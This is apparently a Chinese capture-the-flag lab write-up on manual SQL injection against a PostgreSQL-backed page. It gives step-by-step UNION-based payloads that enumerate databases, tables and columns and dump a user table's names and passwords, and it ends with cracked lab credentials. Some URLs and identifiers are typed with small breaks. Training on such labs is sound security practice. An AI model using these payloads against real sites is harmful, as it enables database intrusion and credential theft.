SQL手工注入漏洞测试(PostgreSQL数据库)
SQL注⼊

一.查看是否存在注⼊点...构造Payload;回显没有显示数据,代表“ and 1=2” 语句拼接到了后 端数据库查询语句当中...
http:// new_list.php?id=1 and 1=2
http:// new_list.php?id=1 and 1=2
二.开始猜解后端收据库能够返回多少个字段..发现order by 5的时候没有数据回显,order by 4 有回显数据,所以后端返回到前端的数据字段数为4个
http://new_list.php?id=1 order by 4
http://new_list.php?id=1 order by 4
http://new_list.php?id=1 order by 5
http://new_list.php?id=1 order by 5
三.开始检测这4个字段当中哪些字段可以被前端显示出来且使⽤union 查询来构造 Payload/...通过测试发现只有第⼆第三个字段是前端回显数据字段。
http://new_list.php?id=1 and 1=2 union select 'null',null,null,null // ⽆回显
http://new_list.php?id=1 and 1=2 union select null,'null',null,null // 有回显
http://new_list.php?id=1 and 1=2 union select null,null,'null',null // 有回显
http://new_list.php?id=1 and 1=2 union select null,null,null,'null' // ⽆回显
四.在这两个字段当中来查询我们想要的得到的数据。例如得到当前数据库名称和当前⽤户以 及数据库的版本...
new_list.phpid=1 and 1=2 union select null,null,string_agg(datname,'~'),null from pg_database

五.构造Payload爆指定数据库下的表名....
new_list.php?id=1 and 1=2 union select null,null,string_agg(table_nam e,','),null from information_schema.tables where table_schema='public'

六.此时我们已经得到了表并开始查询字段,由于查询到的第⼆个表名带有“ reg_user” ,我们就先 查询它
new_list.php?id=1 and 1=2 union select null,null,string_agg(column_nam e,','),null from information_schema.columns where table_name='reg_users'

七.查询到字段以后,最后⼀步就是爆出数据了且如下构造payload
new_list.php?id=1 and 1=2 union select null,string_agg(name,','),string_agg (password,','),null from reg_users

⼋.解密并得到相对应账号密码: mozhe1:792833 mozhe2:1qaz2wsx 登录并提交Flag...

